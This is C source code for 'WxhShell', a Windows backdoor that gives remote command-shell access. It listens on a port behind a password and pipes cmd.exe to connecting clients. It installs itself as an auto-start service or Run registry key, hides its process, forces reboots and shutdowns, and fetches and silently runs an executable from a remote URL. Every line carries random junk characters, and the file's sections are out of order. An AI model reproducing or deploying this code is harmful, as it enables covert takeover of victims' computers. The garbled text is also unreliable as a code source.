    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~xT:r  
    else { js^+{~  
    closesocket(wsh); l3[2b Qx  
    ExitThread(0); U|Z Yoc+](  
    } 2SVBuV/R  
    break; }M*yE]LL;Z  
    } :QGgtTEV""  
  // 获取shell vVBu/)  
  case 's': { ^qvN:v$1  
    CmdShell(wsh); u]RI,3Z  
    closesocket(wsh); xL&M8:  
    ExitThread(0); #k?uYg8  
    break; (]ToBju  
  } \2]M &n GT  
  // 退出 qD!qSM  
  case 'x': { ,E ]vM&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O1xK\ogv  
    CloseIt(wsh); #$-{hg{  
    break; *5T^wZpj)  
    } H;D 5)eJ90  
  // 离开 N=%4V  
  case 'q': { x)GpNkx:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xw2dNJL  
    closesocket(wsh); /h6K"w=='!  
    WSACleanup(); U4s)3jDw  
    exit(1); cCa+UTxaJ  
    break; }3HN $Fwo  
        } - ,YoVB!T  
  } |YEq<wbQ  
  } xNAX)v3Z  
we?# Dui  
  // 提示信息 ~[a6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v_G1YC7TU  
} 1xBgb/+  
  } GoSdo  
7H=V|Btnc  
  return; 9:9gam  
} 3:wN^!A}ve  
C6` Tck!  
// shell模块句柄 UmEc")3  
int CmdShell(SOCKET sock) 2J;_9 g&M  
{ s]X0}"cz  
STARTUPINFO si; r{g8CIwGQ  
ZeroMemory(&si,sizeof(si)); C!X"0]@FA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~$PY6s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8@rddk  
PROCESS_INFORMATION ProcessInfo; Ar{7H)V:  
char cmdline[]="cmd"; Rq@M~;p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Y!{ UNq5  
  return 0; +YD_ L  
} 0)Nu  
+%sMd]$,n  
// 自身启动模式 /Pv dP#!  
int StartFromService(void) CNMcQP  
{ VPi*9(LS  
typedef struct H6/n  
{ KATu7)e&~^  
  DWORD ExitStatus; oU`{6 ~;  
  DWORD PebBaseAddress; 2p|ed=ly%  
  DWORD AffinityMask; )JA9bR <  
  DWORD BasePriority; y?Cq{(  
  ULONG UniqueProcessId; 2r^G;,{  
  ULONG InheritedFromUniqueProcessId; v{r,Wy3  
}   PROCESS_BASIC_INFORMATION; [ikW3 '99,  
yt+d f0l  
PROCNTQSIP NtQueryInformationProcess; P!xN]or]u  
Wd>gOE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~8 S2BV3@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eXA@J[- M:  
4ux^K:z  
  HANDLE             hProcess; }kZ)|/]kn  
  PROCESS_BASIC_INFORMATION pbi; 3Z_\.Z1R@  
 -^ceTzW+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F<0GX!p4u  
  if(NULL == hInst ) return 0; O_ 4 j"0  
IRG-H!FV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A<p6]#t#X)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qxbGUyH==  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T/$hN hQK  
6<SX%Bc~  
  if (!NtQueryInformationProcess) return 0; 2 Q}^<^r  
'5etZ!:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1fMl8[!JLu  
  if(!hProcess) return 0; XMlcY;W  
b|Sjh;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?v,4seRuz  
S;tv4JY  
  CloseHandle(hProcess); lvp8{]I<  
>Q#\X=a>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zvOSQxGQ  
if(hProcess==NULL) return 0; IeT1Jwe  
]@A31P4t|  
HMODULE hMod; }cO}H2m  
char procName[255]; ~0V,B1a  
unsigned long cbNeeded; |%$mN{  
{Rtl<W0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2fFGS.l  
(@i2a  
  CloseHandle(hProcess); ItxC}qT  
tlyDXB~+  
if(strstr(procName,"services")) return 1; // 以服务启动 dV7~C@k6k8  
v5A8"&Jr  
  return 0; // 注册表启动 7N8a48$8  
} D` abVf  
,V`[;~49  
// 主模块 I* 4g ;1x  
int StartWxhshell(LPSTR lpCmdLine) fI }v}L^  
{ dQ-:]T (  
  SOCKET wsl; |Ye%HpTTv  
BOOL val=TRUE; |5g1D^b]s^  
  int port=0; x.%x|6G*  
  struct sockaddr_in door; +Z/aB*aVa^  
iM_Zn!|@\  
  if(wscfg.ws_autoins) Install(); :O9i:Xq[QW  
9B9:lR  
port=atoi(lpCmdLine); 'Ivr =-  
Yq0jw&v  
if(port<=0) port=wscfg.ws_port; Evt&N)l!^  
dkAY%ztwo  
  WSADATA data; _ipY;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C^fUhLVSZ^  
; %mYsQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8m*uT< 5D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ->*'Y;t4  
  door.sin_family = AF_INET; vv^(c w>A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8/T,.<5  
  door.sin_port = htons(port); C@OY)!x!  
^"{txd?6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j-(k`w\  
closesocket(wsl); U}:e-  
return 1; m!sMr^W  
} l~'NqmXe  
cIOM}/gqv  
  if(listen(wsl,2) == INVALID_SOCKET) { Rd:wMy$  
closesocket(wsl); Dl=qss~g+  
return 1; dS)c~:&+  
} K!qV82b='{  
  Wxhshell(wsl); M D,+>kh  
  WSACleanup(); R}0xWPt9G  
;Y%.m3  
return 0; "!z9UiA  
V)3S.*]  
} ]vUTb9>{?  
cwBf((~  
// 以NT服务方式启动 J`[He$7)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I3" GGp3L  
{ xO<Uz"R  
DWORD   status = 0; &\ \)x.!  
  DWORD   specificError = 0xfffffff; *Ry{}|_8  
8j jq)d4#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 97\9!)`,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $94l('B6H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uS&NRf9A  
  serviceStatus.dwWin32ExitCode     = 0; 1zWEK]2.R  
  serviceStatus.dwServiceSpecificExitCode = 0; :GN7JxD#  
  serviceStatus.dwCheckPoint       = 0; tY0C& u2  
  serviceStatus.dwWaitHint       = 0; =N<Z@'c  
rF)[ Sed:T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'G8.)eTA'  
  if (hServiceStatusHandle==0) return; [.LbX`K:  
n81z 0lnr  
status = GetLastError(); [O\[,E"K  
  if (status!=NO_ERROR) #7"*Pxb#A  
{ U9%#(T$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ofHe8a8  
    serviceStatus.dwCheckPoint       = 0; 4 t< mX  
    serviceStatus.dwWaitHint       = 0; rh$q]  
    serviceStatus.dwWin32ExitCode     = status; +5oK91o[y  
    serviceStatus.dwServiceSpecificExitCode = specificError; bqSp4TI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yxd&hr  
    return; k \V6 q9*  
  } a_amO<!   
qb?9i-(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rBrJTF:.  
  serviceStatus.dwCheckPoint       = 0; d,*#yzO  
  serviceStatus.dwWaitHint       = 0; zqs|~W]c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 25 m!Bf  
} > ?<C+ZHh  
WJF#+)P:Y  
// 处理NT服务事件,比如:启动、停止 k+`e0Jago  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yp\s Jc`  
{ CI~ll=9`  
switch(fdwControl) WbH#@]+DN  
{ #b5V/)K  
case SERVICE_CONTROL_STOP: ~E*`+kD  
  serviceStatus.dwWin32ExitCode = 0; ,{VC(/d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?h7(,39^>  
  serviceStatus.dwCheckPoint   = 0; `&!J6)OJ  
  serviceStatus.dwWaitHint     = 0; JsyLWv@6xa  
  { %:vMD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QX >Pni  
  } PHv0^l]B  
  return; u!DAeE  
case SERVICE_CONTROL_PAUSE: 6%t>T~x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eZk4 $y  
  break; 3PgiV%]  
case SERVICE_CONTROL_CONTINUE: zD%@3NA41  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HL34pmc  
  break; CH4 ~9mmE  
case SERVICE_CONTROL_INTERROGATE: $pGdGV\H  
  break; o<\9OQ0  
}; gy6Pf4Yo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t-3y`31i.  
} 7qT>wCVT  
1:VbbOu->V  
// 标准应用程序主函数 TaTs-]4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kZJ.G  
{ 4Y:[YlfD.  
D0HLU ~o  
// 获取操作系统版本 P8=!/L2?  
OsIsNt=GetOsVer(); l4smAT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M73d^z  
x9s1AzM{  
  // 从命令行安装 YMfjTt@Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); \g<=n&S?  
W*/0[|n*  
  // 下载执行文件 J8:f9a:|M  
if(wscfg.ws_downexe) { wR*>9LjeG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6im!v<1Qx  
  WinExec(wscfg.ws_filenam,SW_HIDE); >YuiCf?c7  
} ^oT!%"\  
C)8>_PY[M  
if(!OsIsNt) { [6{o13mCWE  
// 如果时win9x,隐藏进程并且设置为注册表启动 r~U/t~V=D  
HideProc(); Mz#<Vm4  
StartWxhshell(lpCmdLine); +?[,{WtV  
} fBRU4q=^T  
else B`i 5lD  
  if(StartFromService()) ?O.1HEr  
  // 以服务方式启动 k7\ ,N o}  
  StartServiceCtrlDispatcher(DispatchTable); @$ggPrs  
else AHl1{* [  
  // 普通方式启动 [d}AlG!  
  StartWxhshell(lpCmdLine); (M,IgSn9  
Z[pMlg6Z  
return 0; /Xo8 kC  
} u[;,~eB%w  
** !  
ic]b"ItD  
>Qg 9KGk'  
=========================================== .,$<waGD  
1?j[ '~aE  
@x @*=  
Fo@cz"%  
3sy|pa  
jt?.g'  
" /;rPzP4K6  
S B# Y^!  
#include <stdio.h> ;LjTsF'  
#include <string.h> eK=<a<tx  
#include <windows.h> vl67Xtk4  
#include <winsock2.h> \8e27#PJR  
#include <winsvc.h> %pk'YA{M)q  
#include <urlmon.h> BJ,9C.|  
@fz!]/  
#pragma comment (lib, "Ws2_32.lib") H$o=kQN  
#pragma comment (lib, "urlmon.lib") {Z^  G]@  
[;n/|/m,  
#define MAX_USER   100 // 最大客户端连接数 r(Vz(  
#define BUF_SOCK   200 // sock buffer m}oqs0xx  
#define KEY_BUFF   255 // 输入 buffer GZ@`}7b}  
;ZVT[gi*  
#define REBOOT     0   // 重启 'gQ0=6(\  
#define SHUTDOWN   1   // 关机 K6s%=.Zi(  
b!J%s   
#define DEF_PORT   5000 // 监听端口 Sl7x>=  
ZgD%*bH*B  
#define REG_LEN     16   // 注册表键长度 swGp{wJ  
#define SVC_LEN     80   // NT服务名长度 ~?#B(t  
+91j 1?  
// 从dll定义API bxrT[]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N(W;\>P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `HO_t ek  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <g4[p^A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _>k&M7OU4  
?0%3~E`l:  
// wxhshell配置信息 1O{(9nNj  
struct WSCFG { 8uZM%7kI6+  
  int ws_port;         // 监听端口 2uln)]  
  char ws_passstr[REG_LEN]; // 口令 4,)EG1  
  int ws_autoins;       // 安装标记, 1=yes 0=no O7of9F~"  
  char ws_regname[REG_LEN]; // 注册表键名 {#o0vWS>  
  char ws_svcname[REG_LEN]; // 服务名 p6Ie?Gg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -)Zp"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v+b#8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XHER[8l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c1x{$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a(Fx1`}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v%2@M  
+ <4gJoI  
}; g,61'5\  
iT2{3 t  
// default Wxhshell configuration .4&pi  
struct WSCFG wscfg={DEF_PORT, ^ b`wf"A  
    "xuhuanlingzhe", %/:0x:ns  
    1, }\$CU N  
    "Wxhshell", BD.>aAi!  
    "Wxhshell", Q%*987i  
            "WxhShell Service", d(X/N2~g  
    "Wrsky Windows CmdShell Service", #PJHwvr  
    "Please Input Your Password: ", "z6 xS;  
  1, |3{"ANmm'  
  "http://www.wrsky.com/wxhshell.exe", WNmG'hlA  
  "Wxhshell.exe" j2GTo~muq  
    }; r\."=l  
 2.>aL  
// 消息定义模块 BJNZH#"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FJCLK#-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JOUZ"^v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [0M`uf/u  
char *msg_ws_ext="\n\rExit."; z9qF<m  
char *msg_ws_end="\n\rQuit."; d"0=.sA  
char *msg_ws_boot="\n\rReboot..."; 5ca!JLs  
char *msg_ws_poff="\n\rShutdown..."; CAT{)*xc  
char *msg_ws_down="\n\rSave to "; 5"WI^"6b:  
f]C`]qg  
char *msg_ws_err="\n\rErr!"; hC D6  
char *msg_ws_ok="\n\rOK!"; ,%X"Caz  
LuE0Hb"S8  
char ExeFile[MAX_PATH]; h%UM<TZ]"  
int nUser = 0; qe<xH#6  
HANDLE handles[MAX_USER]; >.o<}!FW  
int OsIsNt; W Yo>Md 8  
RE%25t|  
SERVICE_STATUS       serviceStatus; 7RZ HU+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5 !Ho[  
?l>Ra0  
// 函数声明 D_)N!,i  
int Install(void); rf=oH }  
int Uninstall(void); R}E$SmFg  
int DownloadFile(char *sURL, SOCKET wsh); &y&pjo6v1  
int Boot(int flag); \`oP\|Z  
void HideProc(void); s/\<;g:u^  
int GetOsVer(void); me+u"G9I;  
int Wxhshell(SOCKET wsl); 8mM`v  
void TalkWithClient(void *cs); &WJ;s*  
int CmdShell(SOCKET sock); "~:P-]`G  
int StartFromService(void); uGU-MC *  
int StartWxhshell(LPSTR lpCmdLine); > Hwf/Gf[  
Z/e^G f#i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %$6?em_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u/.# zn@9h  
EL^j}P  
// 数据结构和表定义 Ov~vK\  
SERVICE_TABLE_ENTRY DispatchTable[] = "UUoT  
{ +|6E~#zklY  
{wscfg.ws_svcname, NTServiceMain}, }Dx5W9Ri"  
{NULL, NULL} @ QfbIP9  
}; #9rCF 3P  
#B6$ r/%  
// 自我安装 +#Ga} e CM  
int Install(void) KSve_CBOh  
{ 6ee1^>  
  char svExeFile[MAX_PATH]; rKkFflOVO  
  HKEY key; :/\KVz'fw}  
  strcpy(svExeFile,ExeFile); XYze*8xUb  
j*_>/gi  
// 如果是win9x系统,修改注册表设为自启动 q"-+`;^7(-  
if(!OsIsNt) { '>:%n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kIJ=]wU|v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _T(77KLn;  
  RegCloseKey(key); b>@fHmpwD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZfU &X{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Rk>yJD7s  
  RegCloseKey(key); vs2xx`Y<Lq  
  return 0; ]vjMfT%]W  
    } 4&<zkAMR  
  } *],= !  
} z0 J:"M  
else { FvyC$vip  
P/[}$(&:  
// 如果是NT以上系统,安装为系统服务 xzb{g,c   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T!1Np'12zF  
if (schSCManager!=0) W2]%QN=m$  
{ r"W<1H u  
  SC_HANDLE schService = CreateService )&[Zw{6P  
  ( M!Ywjvw*)3  
  schSCManager, \=j|ju3  
  wscfg.ws_svcname, #&Fd16ov  
  wscfg.ws_svcdisp, T~naAP  
  SERVICE_ALL_ACCESS, :Tdl84   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,!bcm  
  SERVICE_AUTO_START, o@qI!?p&  
  SERVICE_ERROR_NORMAL, >a)6GZ@  
  svExeFile, F>U*Wy  
  NULL, %:.IG.`d  
  NULL, q9B5>Ye)  
  NULL, g>n1mK|  
  NULL, :1gcLsF  
  NULL >K 7]G?+7E  
  ); b4CXif  
  if (schService!=0) R_duPaWc@  
  { fO}Y$y\q  
  CloseServiceHandle(schService); P,bis7X.  
  CloseServiceHandle(schSCManager); {PkPKp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _/5xtupxE  
  strcat(svExeFile,wscfg.ws_svcname); ,A9{x\1!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l<p6zD$l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &t@|/~%[  
  RegCloseKey(key); t<yOTVah  
  return 0; 6Z!OD(/e  
    } rp!>rM] s  
  } X({R+  
  CloseServiceHandle(schSCManager); /H$/s=YU\U  
} 4~e6z(  
} vJg^uf)  
,a\pdEPj  
return 1; ee*E:Ltz\  
} k-8$ 43  
WO+_ |*&  
// 自我卸载 4p]hY!7  
int Uninstall(void) 7Yly^  
{ /S`d?AV  
  HKEY key; e[%g'}D:-  
ktiC*|fd  
if(!OsIsNt) { K~ VUD(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _j?/O)M c  
  RegDeleteValue(key,wscfg.ws_regname); 6@J)k V  
  RegCloseKey(key); |r/4 ({n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F2Co Xe7  
  RegDeleteValue(key,wscfg.ws_regname); \"Aw ATQ  
  RegCloseKey(key); jHpFl4VPz  
  return 0; *h2)$^P%  
  } #6za  
} (\ Gs7  
} ^vr`t9EE  
else { -MItZ  
~ MW_=6U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 22"/|S  
if (schSCManager!=0) u|8yV.=R  
{ (Q6}N'T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LE@`TPg$R  
  if (schService!=0) QiQO>r  
  { y0cB@pWp  
  if(DeleteService(schService)!=0) { -\~D6OA  
  CloseServiceHandle(schService); oWdvpvO  
  CloseServiceHandle(schSCManager); r^!P=BS{  
  return 0; ZH=oQV)6  
  } &g5+ |g (  
  CloseServiceHandle(schService); y%xn(Bn  
  } dS"%( ?o  
  CloseServiceHandle(schSCManager); 7VKTI:5y  
} }~$96|J  
} @G0j/@v  
uNG?`>4>  
return 1; 16n8[U!  
} CDgu`jj%]  
%yP*Vp,W  
// 从指定url下载文件 ^FN(wvqb8  
int DownloadFile(char *sURL, SOCKET wsh) \F8*HPM=*  
{ $K*&Wdo  
  HRESULT hr; or..e  
char seps[]= "/"; \k)(:[^FY  
char *token; |csR"DOqz  
char *file; 9Sk?tl  
char myURL[MAX_PATH]; -<.b3Mh  
char myFILE[MAX_PATH]; mqb6MnK -  
e$y VV#  
strcpy(myURL,sURL); :{KoZd  
  token=strtok(myURL,seps); {;XO'  
  while(token!=NULL) aC=D_JJ\  
  { )]3(ue  
    file=token; Hm55R  
  token=strtok(NULL,seps); h`,!p  
  } x1{gw 5:  
ay,E!G&H  
GetCurrentDirectory(MAX_PATH,myFILE); s7}46\/U  
strcat(myFILE, "\\"); RNn5,W  
strcat(myFILE, file); s6J`i&uu  
  send(wsh,myFILE,strlen(myFILE),0); -VlXZj@u+  
send(wsh,"...",3,0); isR|K9qf^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '{xPdN  
  if(hr==S_OK) #iAEcC0k5  
return 0; Wf>scl `s  
else h$~ \to$C  
return 1; ?\NWKp  
]M5w!O!  
} Q`7.-di  
?O<D&CvB  
// 系统电源模块 cN\Fgbt  
int Boot(int flag) {expx<+4F  
{ 1C' _I  
  HANDLE hToken; Z/hgr|&}  
  TOKEN_PRIVILEGES tkp; \,5OPSB  
{ |[n>k   
  if(OsIsNt) { b 6B5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I?!7]Sn$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k(.6K[ b  
    tkp.PrivilegeCount = 1; dCkk5&2n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /vLdm-4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N9A#@c0O  
if(flag==REBOOT) { 0xQ="aXE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t\%gP@?  
  return 0; /"%(i#<)xs  
} "`4V ^1  
else { yq2pg8%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kL1StF#p  
  return 0; v8!Ts"  
} Wy`ve~y  
  } :AM5EO  
  else { BHa'`lCb  
if(flag==REBOOT) { -%eBip,'yl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  rr=e  
  return 0; pZg}7F{$  
} c$ skLz  
else { 08TeGUjJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yMoV|U6  
  return 0; l mRd l>  
} wjeuZNYf  
} OW|5IEC  
da/Tms`T  
return 1; yhpeP  
} gLL8-T[9  
-x?I6>{  
// win9x进程隐藏模块 $+$S}i=  
void HideProc(void) ,=@%XMS  
{ O.% $oV  
:]hNw1e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J*} warf&  
  if ( hKernel != NULL ) s}3`%?,6y  
  { m=hUHA,p4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <)dHe:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;mAlF>6]\  
    FreeLibrary(hKernel); {5, ]7=]  
  } ]'iOV-2^'  
exHg<18WSe  
return; y]e[fZ`L  
} R ]! [h  
-)p S\$GC  
// 获取操作系统版本 rV0X*[]J>  
int GetOsVer(void) t/57LjV  
{ }pMd/|A,  
  OSVERSIONINFO winfo; 2`;&Uwt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C@3`n;yZ=  
  GetVersionEx(&winfo); F?B`rw@xr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qmg2lP.)  
  return 1; ^f%hhpV@  
  else Sb& $xWL  
  return 0; y9xvGr[l  
} W#.+C6/  
4,]z  
// 客户端句柄模块 {%b*4x0?  
int Wxhshell(SOCKET wsl) zv8AvNDK  
{ Sd |=*X  
  SOCKET wsh; ._i|+[  
  struct sockaddr_in client; ~>"m`Q&[  
  DWORD myID; zvgy$]y'\  
!Enq2  
  while(nUser<MAX_USER) 3~o#1*->  
{ (/a#1Pd&  
  int nSize=sizeof(client); ;LXwW(_6d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p-Jp/*R5  
  if(wsh==INVALID_SOCKET) return 1; '=X)0GG  
 h/*q +H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,|RN?1?U  
if(handles[nUser]==0) L]kd.JJvy  
  closesocket(wsh); r&/M')}?Lw  
else 9{KL^O?g  
  nUser++; \~!!h.xR  
  } TF1,7Qd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^tTASK  
Nr,Q u8  
  return 0; cM hBOm*  
} E;tEmGf6F  
y2{uEbA  
// 关闭 socket !jTtMx  
void CloseIt(SOCKET wsh)  .V   
{ 3HEm-pok  
closesocket(wsh); )p^" J|  
nUser--; $&~moAl  
ExitThread(0); sW^e D;  
} /2.}m`5  
|Fi{]9(G2  
// 客户端请求句柄 6|G&d>G$_  
void TalkWithClient(void *cs) <%iRa$i5  
{ xk*&zAt  
S T1V  
  SOCKET wsh=(SOCKET)cs; 77b^d9! ~  
  char pwd[SVC_LEN]; xMs!FMn[  
  char cmd[KEY_BUFF]; R0g^0K.  
char chr[1]; #=g1V?D  
int i,j; 1p5n}|  
1)o6jGQ  
  while (nUser < MAX_USER) { >'1 h  
}] p9  
if(wscfg.ws_passstr) { Fc6o6GyL|o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S6CI+W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -^aJ}[uaI  
  //ZeroMemory(pwd,KEY_BUFF); [o"<DP6w  
      i=0; ?:$\ t?e^  
  while(i<SVC_LEN) { @=sM')f&  
2<FEn$n[  
  // 设置超时 2z9s$tp  
  fd_set FdRead; [eO^C  
  struct timeval TimeOut; jP{&U&!i  
  FD_ZERO(&FdRead); yiw4<]{IX  
  FD_SET(wsh,&FdRead); `+m:@0&L  
  TimeOut.tv_sec=8; y '[VZ$^i  
  TimeOut.tv_usec=0; Gl"|t't(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N<PDQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0MI4"<  
.0Kc|b=w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uc;~q-??#  
  pwd=chr[0]; K0YQ b&*k  
  if(chr[0]==0xd || chr[0]==0xa) { m{;j r<  
  pwd=0; KTq+JT u  
  break; 6Hp+?mmh  
  } >t_h/:JZ)  
  i++; "2~L  
    } _70Z1_ ;  
@V&c=8) 8  
  // 如果是非法用户,关闭 socket g\% Z+Dc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AU1U?En  
} E|vXM"zFl  
3;RQ\{eM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4`B3Kt`o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n_4 r'w  
7 x'2  
while(1) { uOO\!Hqq  
DL*vF>v  
  ZeroMemory(cmd,KEY_BUFF); #CV]S4/^  
r~z'QG6v/  
      // 自动支持客户端 telnet标准   iInWw"VbKe  
  j=0; Wc Gg  
  while(j<KEY_BUFF) { 4{@{VsXN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /%mT2  
  cmd[j]=chr[0]; ;1HzY\d%<  
  if(chr[0]==0xa || chr[0]==0xd) { q6,z 1A"  
  cmd[j]=0; |h?2~D!+d  
  break; +CM>]Ze  
  } 4*ZY#7h  
  j++; .ht-*  
    } E<jW; trt_  
<2E|URo,#  
  // 下载文件 &|<f|B MX  
  if(strstr(cmd,"http://")) { iF9d?9TWl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o! l Ykud  
  if(DownloadFile(cmd,wsh)) )n]" ~I^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o1vK2V  
  else 5X f]j=_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;I&XG  
  } 2Rt6)hgY  
  else { En:>c  
6`@b@Kd  
    switch(cmd[0]) { F"bz<{  
  =?c""~7  
